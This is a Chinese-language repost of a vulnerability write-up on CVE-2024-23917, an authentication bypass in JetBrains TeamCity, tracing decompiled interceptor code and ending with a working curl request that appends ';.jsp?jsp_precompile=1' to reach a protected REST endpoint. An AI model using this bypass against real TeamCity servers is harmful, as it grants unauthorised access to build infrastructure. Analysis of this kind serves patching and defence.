通过探索AuthorizationInterceptorImpl.java,即使拦截器内部有很多逻辑,它也会在其他地方被调用。在同一目录中进一步探索,我们可以看到另一个非常有趣的文件,名为 ,RequestInterceptors.java其中明确添加和调用了拦截器。我们可以通过在函数上设置断点来确认这一点preHandle

深入研究 Jetbrains TeamCity 第 1 部分 - 分析导致身份验证绕过的 CVE-2024-23917

让我们preHandle详细探讨一下此功能:

   public final boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {      if (!this.requestPreHandlingAllowed(request)) {         return true;      } else {         Stack reqStack = this.requestIn(request);         if (reqStack.size() >= 70 && request.getAttribute("__tc_requestStack_overflow") == null) {            LOG.warn("Possible infinite recursion of page includes. Request: " + WebUtil.getRequestDump(request));            request.setAttribute("__tc_requestStack_overflow", this);            Throwable o = (new ServletException("Too much recurrent forward or include operations")).fillInStackTrace();            request.setAttribute("javax.servlet.jsp.jspException", o);            RequestDispatcher dispatcher = request.getRequestDispatcher("/runtimeError.jsp");            if (dispatcher != null) {               dispatcher.include(request, response);            }            return false;         } else {            if (reqStack.size() == 1) {               Iterator var5 = this.myInterceptors.iterator();               while(var5.hasNext()) {                  HandlerInterceptor i = (HandlerInterceptor)var5.next();                  if (!i.preHandle(request, response, handler)) {                     return false;                  }               }            }
  1. requestPreHandlingAllowed(request)方法检查是否允许对此请求进行预处理操作。如果不允许,则该方法返回 true,允许请求继续进行而无需进行额外处理。

  2. Stack reqStack = this.requestIn(request):检索表示与请求相关的某些状态的堆栈,可能跟踪递归。

  3. 如果reqStack.size() >= 70,则表明发生了太多递归操作(转发或包含),暗示出现了无限循环。

  4. 如果检测到递归,则会记录警告,并ServletException抛出一条关于“过多重复前向或包含操作”的消息。

  5. If reqStack.size() == 1,表明这是潜在递归操作堆栈中的第一个请求,代码会遍历 myInterceptors。

  6. 对于HandlerInterceptor中的每个myInterceptors,它都会对当前请求、响应和处理程序调用 preHandle。如果这些拦截器中的任何一个返回 false,表示它们不允许请求继续,则该方法返回 false。

现在我们很清楚,它RequestInterceptors.java有一个prehandle(),它会在内部逐个调用所有其他拦截器。让我们requestPreHandlingAllowed(request)详细探索一下这个函数,因为这个方法会检查是否允许对给定的请求进行预处理操作。如果有办法让函数requestPreHandlingAllowed(request)返回“true”,那么就不会运行任何拦截器,包括AuthorizationInterceptorImpl.java

File: TeamCity/fern/jetbrains/buildServer/controllers/interceptors/RequestInterceptors.java
158:    private boolean requestPreHandlingAllowed(@NotNull HttpServletRequest request) {159:       if (WebUtil.isJspPrecompilationRequest(request)) {160:          return false;161:       } else {162:          return !this.myPreHandlingDisabled.matches(WebUtil.getPathWithoutContext(request));163:       }164:    }

因此,requestPreHandlingAllowed内部调用WebUtil.isJspPrecompilationRequest,从外观上看,检查请求是否为预编译的 JSP。让我们详细探讨一下该函数:

File: TeamCity/fern/jetbrains/buildServer/web/util/WebUtil.java
1649:   public static boolean isJspPrecompilationRequest(@NotNull final HttpServletRequest request) {1650:     final String uri = StringUtil.notNullize(request.getRequestURI());1651:     return (uri.endsWith(".jsp") || uri.endsWith(".jspf")) && request.getParameter("jsp_precompile") != null;1652:   }

该方法读取请求路径getRequestURI()以检查它是否以“.jsp”或“.jspf”结尾,还检查请求是否包含名为的 GET 参数jsp_precompile,如果是,则该函数返回 true,本质上导致原始 if 条件返回 true,跳过调用拦截器的整个 else 部分。

Tomcat 支持使用;被视为路径本身的参数。例如:https : //example.com/rest/abc ; a = b ? param = 123 。这里;a=b被视为路径本身的参数!我们可以在这里滥用该功能,因为它直接读取requestURIWebUtil.isJspPrecompilationRequest并运行以确定它是否endsWith()预编译的请求。

开发

因此,我们可以尝试访问需要身份验证的端点,但我们可以;.jsp在最后传递并添加 GET 参数,这样jsp_precompile=1就可以绕过身份验证并给我们结果。

a0xnirudh@X1 ~/Downloads/teamcity $ curl http://localhost:8111/app/rest/projects;.jsp?jsp_precompile=1<?xml version="1.0" encoding="UTF-8" standalone="yes"?><projects count="2" href="/app/rest/projects;.jsp?jsp_precompile=1"><project id="_Root" name="&lt;Root project&gt;" description="Contains all other projects" href="/app/rest/projects/id:_Root" webUrl="http://localhost:8111/project.html?projectId=_Root"/><project id="Test" name="test" parentProjectId="_Root" href="/app/rest/projects/id:Test" webUrl="http://localhost:8111/project.html?projectId=Test"/></projects>%
https://blog.0daylabs.com/2024/05/27/jetbrains-teamcity-auth-bypass/#exploitDiving deep into Jetbrains TeamCity Part 1 - Analysing CVE-2024-23917 leading to Authentication Bypass

原文始发于微信公众号(Ots安全):深入研究 Jetbrains TeamCity 第 1 部分 - 分析导致身份验证绕过的 CVE-2024-23917

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月31日09:15:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   深入研究 Jetbrains TeamCity 第 1 部分 - 分析导致身份验证绕过的 CVE-2024-23917https://cn-sec.com/archives/2788087.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息